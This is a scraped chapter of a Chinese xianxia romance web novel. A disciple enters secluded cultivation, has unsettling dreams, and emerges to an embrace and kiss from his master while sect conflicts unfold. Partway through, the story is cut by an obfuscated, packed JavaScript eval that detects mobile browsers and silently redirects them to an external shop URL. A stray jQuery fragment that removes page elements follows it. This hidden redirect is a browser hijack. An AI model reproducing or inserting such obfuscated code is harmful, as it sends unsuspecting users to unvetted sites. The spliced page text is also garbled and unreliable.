文趣网 > 都市小说 > 嗨师尊~谈恋爱么 > 67. 二合一
    沈宴清的目光落在风行泽微红的耳垂上,眼睫轻颤,但随即又克制地移开目光:

    “怎么了?”

    [耳垂好红,想捏,但是不可以。]

    风行泽看着沈宴清,内心忽然又开始犹豫,目光游移不定,不自觉的扣着指甲:“师尊……那个……”

    “嗯?”

    风行泽还是有些说不出口,几番犹豫,最终还是问了个旁的问题:“师尊,那几个顾家人和白家人,我们怎么处理啊?”

    沈宴清温声道:“那几人我已交由掌门处置,对于白顾两家,介时会由掌门以及其他几位长老商讨如何处理这些事情。”

    “那他们背后的世家大族呢?”风行泽追问。

    “我们拆了他们的阵法,抓了他们的子弟,他们肯定不会善罢甘休吧?”

    沈宴清笑了笑,道:“没事,那些大族历经几万年的衰弱,早就不再是之前的兴盛。”

    “而且他们祸心慎重,掌门应当会与其他几大宗门联手,以我们手中的那几人为要挟,迫使大族背后的话事者出现。”

    沈宴清耐心解释道。

    要是被外人发现,以往孤高自傲的宴清仙尊竟然会对着一个弟子如此耐心,怕不是要把眼珠子都给瞪出来了。

    风行泽大概明了了,那些大族先前做了那么多的手脚抽取灵气生气,已经引得几大宗门不满,这次更是直接利用手段抓了如此多的弟子强行抽取生机,差不多是和外界彻底撕破脸皮的状态了。

    那么这次,由天一宗再次出面交涉,估计不是单纯的谈话这么简单了。

    而且,当时蓬莱岛上几乎囊括了各大宗门的弟子,甚至包含着一些被沈宴清露面消息骗过去的长老。而顾、白两家出手就是如此狠戾,其他的宗门想来也断断不会轻松揭过此事,就是不知道他们愿不愿意和天一宗联手了。

    沈宴清似乎看出了风行泽的想法,补充道:

    “蓬莱神岛尚未彻底关闭,应当还有一些弟子长老在其中没出来,掌门已经派人去几大宗门交涉,待到秘境彻底关闭的那天,他们自然知道我们说的是真是假。”

    到时候,他们和天一宗联手或许还能有一线生机,不然的话……

    长芦州天道式微,灵气日益稀薄,能够成功飞升的人也越来越少,甚至近千年之连内一位飞升的前辈都没有,情形之严重前所未有。

    如果放任大族汲取灵力生气,只会加速他们的灭亡。

    想到这里,沈宴清垂下眼,掩去其中的杀意。

    风行泽一手无意识搓着自己的衣摆,一边思考着同样的事情。

    他当然听得出沈宴清的言外之意,只是他在想,那些大族要如此至多的灵气和生气到底有什么作用。

    总不能要硬生生灌出来一个飞升之人吧?

    想到这里,风行泽没忍住为这个荒诞的想法笑了一下。

    沈宴清见他忽然笑了,有些疑惑,风行泽就把自己天马行空的想法讲了一遍,没忍住笑倒在了桌子上。

    或许是知道了沈宴清的心意,风行泽的动作更加肆意大胆了些,一条手臂屈起压在脑袋底下,另一只手则伸出去够沈宴清的头发,捏在手里揉搓着。

    沈宴清先是感慨他想法的大胆,但又看到风行泽如此随性亲昵的动作,轻轻勾了勾唇,温柔地看着他,似乎怕惊扰了这份亲昵。

    风行泽抬眼就能看到沈宴清的目光,耳边传来对方丝毫不加掩饰的心声,好不容易消下去的红意似乎又要卷土重来,愈演愈烈。

    “师尊,我……”风行泽目光闪烁,说话吞吞吐吐的,半晌接不出下句。

    沈宴清竟然莫名的有些紧张,他垂眸看着风行泽:“怎么了……”

    “我……我想闭关。”风行泽道。

    “嗯?”沈宴清没想到他又要闭关,动作一顿:“怎么又要闭关?”

    风行泽也没想到自己如此之怂,表白的话都说不出口,但闭关的话已经说出去了也不好反悔,只能一边在心底唾弃自己的胆怯一边迎着头皮道:

    “那个,弟子感觉出去一趟,心境上又有些感悟,想……潜心钻研一阵子。”

    沈宴清瞧了他好一会,才轻轻叹了一口气:“也好。”

    他的目光移到风行泽身后的一枝桃花上,脑中思绪纷杂。

    若是日后那些大族与宗门彻底撕破脸,风行泽的修为越高,他越能安心。

    风行泽静静听着他师尊的心声,抿了抿嘴。

    ……

    闭关的事沈宴清已经同意,风行泽趁着还有时间,找了个由头把谢子玉他们叫了出来,简单聊了两句。

    谢子玉看着面前的风行泽,脸色复杂:“行泽,你不要把自己逼的太紧。”

    秦宇安也道:“以弱冠之年进入金丹境界的,整个长芦州只你一人,就连宴清仙尊少时也是及冠之后正式结的丹,行泽,你真的没事吗?是……”

    他咽下后半句话,眼神中透出隐隐担忧。

    风行泽知道他们是误会了什么,笑了笑:“没,我师尊从没要求过我怎么样,是我自己要去闭关的。”

    “放心,我只是忽然有感,想要潜心修炼一阵子而已。”

    谢子玉看着他,风行泽小了他们将近六岁,可是看起来却比他们有主意的多。

    不远处的阿花忽然啼叫了一声,风行泽扭头看了看,知道这是阿花这是在催促他。

    秦宇安拍了拍他的肩:“去吧。”

    风行泽心里忽然有些难过,但他强行压下了这股感觉,笑着道:“你们两个也记得勤加修炼,别被我超过了啊!”

    谢子玉失笑:“放心,肯定不会让你比了去。”

    风行泽对着他俩做了个鬼脸,三两步下到云海边缘,跳上阿花的背回去了。

    秦宇安和谢子玉并肩站在原地,看着风行泽愈来愈远的背影沉默:“怎么总感觉心情这么沉重呢?”

    谢子玉没好气拍他一下:“说什么呢?修炼去吧赶紧,别回头真让行泽给我们落下了,现在我们三个里可就你境界最低了啊!”

    秦宇安“嗷”一声躲过他的巴掌,替自己叫屈:“你们两个是妖孽好吧?我已经很努力在修炼了,比我师尊当年都厉害了!”

    他才二十五就金丹了,有些人六十都不一定能结丹,已经很快了好吧?

    是这两个家伙太逆天了,一个弱冠结丹,一个二十六金丹中期,天道不要太偏心!

    谢子玉:“……还是你不努力!”

    ……

    风行泽和这两人告了别,又回了自己小院简单收拾了一下,再次来到了翠影峰后山的洞府。

    沈宴清已经提前来这边清理过了,此刻正站在旁边垂眸看着潺潺流过的一条小溪。

    这条小溪来自峰顶的一汪泉眼,弯弯曲曲的绕过了翠影峰大半范围,滋养了大片的灵植。

    一些细小的粉金色小鱼在其中摇着尾巴,沈宴清盯着这些仿佛桃花花瓣一般的小鱼出了神。

    听到身后传来的动静,他才恍然回神,转身看向风行泽,眼神中不自觉带上了笑意:“准备好了?”

    风行泽小跑着到他身边,拍拍自己身上一个小包袱:“都准备好了。”

    沈宴清的目光落在这个小小的包袱上,有些疑惑:“这是……?”

    风行泽拍拍它:“我给自己拿了个垫子,上次闭关直接坐在了石头上,硌死了。”

    沈宴清失笑:“挺好的。”

    风行泽耳尖漫上一丝红意。

    其实除了鼓鼓囊囊的垫子,他还偷偷在里面放了几张画像,是他偷摸画的沈宴清。

    他以前在福利院的时候和一位会画画的阿姨学了许久,画Q版小人很有神韵。

    来到这边没了画笔只能用毛笔,但幸好功力还在,画起来也还像样,寥寥几笔就勾勒出了沈宴清的模样,小人抿着嘴,很有几分沈宴清的风采。

    除了画像,里面还有一些零碎的小玩意,包括沈宴清送给他的那枚玉璧,原先他用灵力凝结出的那枚尚未完成的玉佩等等。

    想到那枚玉佩,风行泽轻咳一声,敛去脸上的笑意,抬头看向沈宴清:“师尊,我去闭关了!”

    沈宴清温柔看着他:“嗯。”

    [又是要好久不见啊……]

    风行泽深吸一口气,最后看了一眼沈宴清,抬脚买入了洞府。

    沈宴清看着他走了进去,早就布置好的阵法在风行泽彻底进去之后嗡然启动,将整个洞府严严实实包围了起来。

    阵法合上的刹那,风行泽攥紧了手中那枚尚未完成的玉佩,喃喃道:

    “等我出去了,就找师尊告白。”

    ……

    外面的沈宴清在洞府外站了许久,孑然一身,清冷孤傲。

    一阵风吹过,满树的桃花纷纷扬扬飘落,树下的白衣仙人伸出手,接住了一片花瓣,又吹了口气。

    那片花瓣便晃悠悠飘向了已被阵法封闭的洞府,灵光一闪,融入了原本的阵法之中,给原本久坚固的阵法又加了一层有着桃花纹路的保障。

    做完这一切,沈宴清又呆愣了一会,青年人清亮的嗓音似乎还在耳边打转,但仔细听去,却又只剩下了潺潺的溪流声,于阵法运转时微弱的碎响。

    “唉。”沈宴清偏头叹了口气,抬脚走了出去。

    日月轮转,翠影峰始终四季如春,漫山的桃花开了谢,谢了开。

    在风行泽闭关的这段时间,天一宗联合合欢宗、药王谷、剑阁、灵山宗等宗门,向那些大族正式发布了通知,要求他们停止抽取世界灵气与生机,并就此事给外界一个交代。

    但是那些大族傲慢,非但没有回应,反而愈发嚣张,在数个地方挑起争端挑衅各大宗门与家族。

    越来越多的宗门和小家族放弃中立,转而和天一宗站到统一战线,彻底和大族撕破了脸面。

    但同时,也有不少小宗门小门派转向那几家,渴求大族事成之后能分一杯羹。

    至此,整个长芦洲表面势力彻底分割成了两派。

    以天一宗为首的宗门一派在抵制大族的同时加紧时间自查,从上到下的清扫了不少奸细,而灵山宗也彻底与云华仙尊师徒三人割席,宣布此三人与灵山宗再无瓜葛。

    一时之间,修真界人人自危。

    而除了这些事情,更出了一件让全天下修士震惊的事情——

    ——沈宴清的师尊、前翠影峰峰主明情仙尊,出世了。

    明情仙尊突破至合体境的时候选择了隐世,将峰主之位传给了当时尚为元婴期的沈宴清,而如今一百多年过去,这位合体期大神竟然重新出世了。

    至此,天一宗活跃在外的大能除了几位化神期的峰主与长老,再加一位合体期大能。

    而沈宴清也再次突破,来到了化神境大圆满,距离合体期大能只差一步之遥。

    世间万事万物兴衰有常,宗族兴则门派弱,门派强则宗主消,那些大族一派已经是上一代的产物,顺应时代不断没落,虽然有着家族秘法,却也不敢与存在了几万年依旧鼎盛的天一宗相较,一时之间竟然老实了许多。

    明情仙尊出世之后第一件事就是前往东海海域,试图凭借一己之力强开蓬莱神岛秘境大门。

    说来也奇怪,蓬莱神岛前不久刚刚开放,遇到明情仙尊竟然又短暂地开了一道口子,在仙尊进去之后立马消失在了远处,仿佛什么都没有发生过一般。

    沈宴清眼睁睁看着自己师尊的身影消失在眼前,轻轻摇了摇头,转身撕破空间回了翠影峰。

    翠影峰上依旧安静,桃花一茬接着一茬地开着,沈宴清盘腿坐于榻上,第一次感觉周边是如此寂静。

    洞府中,风行泽的意识陷入一片黑暗,最终被一片嘈杂吵醒。

    他睁开眼睛,竟然发现自己回到了大学宿舍,头上潮湿的有些掉皮的天花板明晃晃对着他,还不等风行泽搞清楚这是怎么一回事,下铺的舍友突然踩着床沿伸出个脑袋:

    “行泽!快起来,待会讲座就开始了,我们先去占个后排,一会好溜回来开黑啊!”

    风行泽呆愣扭过头,看着够着脖子看他的舍友,皱了皱眉。

    这是梦吗?还是他真的回来了?

    一旁的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928542|205191||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    舍友见他光眨眼也不动弹,有些着急:“傻了啊你,快起来啊!待会后排没位置了,你就坐那听吧!连手机都不让玩。”

    风行泽连忙爬起来,刚想伸手去够衣服,可是眨眼的时间他就坐在了礼堂的第二排。

    台上身着礼服的主持人举着话筒,语气激动的展示身后的大屏幕,风行泽茫然看过去,却忽然在屏幕上发现了自己的脸。

    他忽然感觉自己左边被人杵了两下,扭头过去是几个熟悉的面孔,好像是他的室友,可是风行泽有些认不清了。

    对方用手拍着他,表情夸张,语气激动:“唉,行泽,叫你呢,快上去啊!”

    “啊?”

    风行泽茫然吐出一个音节,却忽然被人群簇拥着上台,话筒被塞进手里,聚光灯打在他的身上。

    台下,上千双眼睛激动地盯着他,似乎都在等他说些什么。

    就连导员、院长和校领导也急切地看着他,似乎急切的想知道他会说什么一般。

    风行泽忽然一阵眩晕,没忍住伸手扶了扶脑袋:“我……”

    再睁眼,他忽然又来到了天一宗山腰处那个巨大地广场上,他站在高出,下方身着各色弟子服的弟子茫然看着他,好像他是最后的主心骨了一般。

    天一宗的护宗大阵好像被撤去了,猎猎寒风裹挟着浓重的血腥气从他身前吹过,吹的他衣摆朝后飘起,在空中划过一道诡异的弧度。

    他看见台下的谢子玉被白布蒙着眼,原本应该是眼睛的地方流下两行血泪。

    秦宇安搀扶着他,以往常捏着扇子的右手却不翼而飞,白色的纱布被血浸透,而那双上挑的狐狸眼绝望地盯着他,再不见半分风情。

    风行泽张了张嘴,话还未出口,眼泪却先滚了下来。

    ……

    意识再度陷入黑暗,一张金色的面孔自黑暗之中付现,风行泽看着这张脸,感觉对方的长相有些熟悉,身上的感觉也很温暖,很安心。

    “你是谁?”他张嘴,喃喃问道。

    金色的脸靠近他:“我是……”

    风行泽努力想听清他的话,却敌不过意识深处传来的疲惫,彻底陷入了沉睡之中。

    金光在他的体内闪烁,修复着经脉之中的细小伤口,同时将自身依附在经脉上,让他经脉内的金光彻底连贯起来。

    风行泽自黑暗之中恢复了意识,操控灵力在体内运转了最后一个周天,吐出一口浊气,缓缓睁开了眼睛。

    他忽然感觉脸上有些湿意,伸手摸了摸,触及一片液体,有些茫然的搓了搓指头。

    他这是,哭了吗?

    闭关之中发生了什么?

    为什么他会哭?

    为什么他什么也想不起来了?

    朱雀在他的身旁安静闭着眼睛,丝毫不清楚刚刚发生了什么事情。

    风行泽站起身,满身茫然的活动了一下长时间静坐有些发麻的身上,努力回想自己到底忘了些什么东西,但是却怎么也想不起来,只能作罢。

    他收起了垫子,又替朱雀在旁边新摆了一个聚灵阵,这才朝外张望了两眼。

    外面天光大亮,看起来是个晴朗的天气。

    “也不知道我这一觉睡了多长时间。”风行泽一边活动身子,一边念叨了几句。

    不过他感觉这次时间过的还没上次闭关快,应当没过去多长时间

    不知道子玉他们现在在哪儿,有没有出去历练,还有宇安,他修为涨没涨,不然真的要被他和子玉落在身后了。

    想到那个画面,风行泽没忍住笑出了声。

    手中一直攥着的那枚半成品的玉佩硬硬的,硌着他的掌心,风行泽摩挲了两下玉佩,唇边的笑忽然变得有些羞涩。

    还有……他师尊。

    不知道他师尊想不想他,如今怎么样了。

    风行泽看了一眼掌心的玉佩,重新盘腿坐下来,神识操控着灵力,一笔一划地雕刻了起来。

    他要雕刻好这枚玉佩,然后等朱雀醒过来,出去,就和他师尊表白。

    风行泽静下心来,仔仔细细摆弄着手中的玉佩,闭关一趟,他体内的灵力已经无声无息的达到了金丹中期的水平,对于灵力的操控愈发精准,桃花花瓣上精细的纹路被他雕刻的栩栩如生。

    就在他完成最后一道纹路的时候,朱雀也终于睁开了眼睛。

    沈宴清忽有所感,闪身出现在了风行泽闭关的洞府外围。

    但此刻阵法一片寂静,似乎当中的主人仍在沉睡。

    沈宴清在溪边站了一会儿,溪流潺潺而过,几位粉金色的小鱼追逐着花瓣,游向下游。

    沈宴清看着那几尾鱼消失在视野中,叹了口气。

    刚刚的感觉,看来又是错觉了。

    这三年的时间里,沈宴清不止一次地站在这里,等候着风行泽的归来,可风行泽一次都没有出现过。

    这一次,就在他以为又是错觉,刚想转身离开的时候。

    身后的阵法悄然破碎,沈宴清身形一僵,忽然有些不敢回头。

    轻快的脚步由远及近,最后一个温热的身躯扑倒了他的背上:“师尊!”

    沈宴清恍然回头,背上的青年言笑晏晏,拉长语调好像在撒娇一般:“师尊,我出来了。”

    青年略微有些凌乱的头发毛绒绒戳在他的脖颈,有些痒,沈宴清忽然转过身来,抬手将青年拥入怀中。

    风行泽有些发愣,但随机更加用力地抱住沈宴清,温热柔软的唇瓣擦过他的脖颈:“师尊……”

    我好想你啊。

    后半句话风行泽没能说出来,因为在他开口的刹那,沈宴清忽然抬手捧住他的脸,不管不顾地亲了下去。

    风行泽瞪大眼睛,似乎不敢相信发生了什么,但沈宴清忽然伸手扣住他的后脑勺,更深的吻了下去。

    风行泽大脑晕乎乎的,感觉好像在做梦……一般,只会被动地回应着沈宴清。

    青衣白衣在林中纠缠不清,一阵风吹过,漫山遍野的桃树齐齐摇动枝丫,粉色的花瓣雨纷纷扬扬,落在林间的两道人影身上,像是天道为两人送上的一道贺礼。